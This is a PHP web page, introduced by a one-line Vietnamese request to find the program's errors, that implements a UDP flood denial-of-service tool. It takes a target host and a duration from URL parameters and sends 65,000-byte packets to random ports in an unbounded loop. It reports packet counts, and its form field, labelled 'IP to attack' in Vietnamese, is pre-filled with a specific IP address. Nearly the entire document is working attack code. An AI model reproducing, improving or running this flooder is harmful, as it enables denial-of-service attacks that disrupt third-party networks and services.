Tìm lỗi sai của đoạn chương trình
<?php
$ip = $_SERVER['REMOTE_ADDR'];
?>
<font color="FF3636">
<font size= "6">
<font size="5">
<pre>
</pre>
<b>Your IP:</b> <font color="blue"><?php echo $ip; ?></font> (Độ mạnh trung
bình)<br><br><font color="blue">
</font>
<STYLE>
input{
background-color: white; font-size: 10pt; color: black; font-family: Tahoma; border: 1 solid #66;
}
button{
background-color:# FF0303; font-size: 8pt; color: black; font-family: Tahoma; border: 1 solid #66;
}
body {
}
</style>
<?php
//UDP
if(isset($_GET['host'])&&isset($_GET['time'])){
$packets = 0;
ignore_user_abort(TRUE);
set_time_limit(0);
$exec_time = $_GET['time'];
$time = time();
//print "Started: ".time('d-m-y h:i:s')."<br>";
$max_time = $time+$exec_time;
$host = $_GET['host'];
for($i=0;$i<65000;$i++){
$out .= 'X';
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$rand = rand(1,65000);
$fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "<br><b>UDP Flood</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second \n";
echo '<br><br>
<form acti method=GET>
<input type="hidden" name="act" value="phptools">
IP cần tấn công: <br><input type=text value=222.255.217.195 name=host><br>
Thời gian (giây): <br><input type=text name=time><br>
<input type=submit value=Go></form>';
}else{ echo '<br><b>UDP Flood</b><br>
<form acti method=GET>
<input type="hidden" name="act" value="phptools">
Host: <br><input type=text name=host value=><br>
Length (seconds): <br><input type=text name=time value=><br><br>
<input type=submit value=Go></form>';
}
?>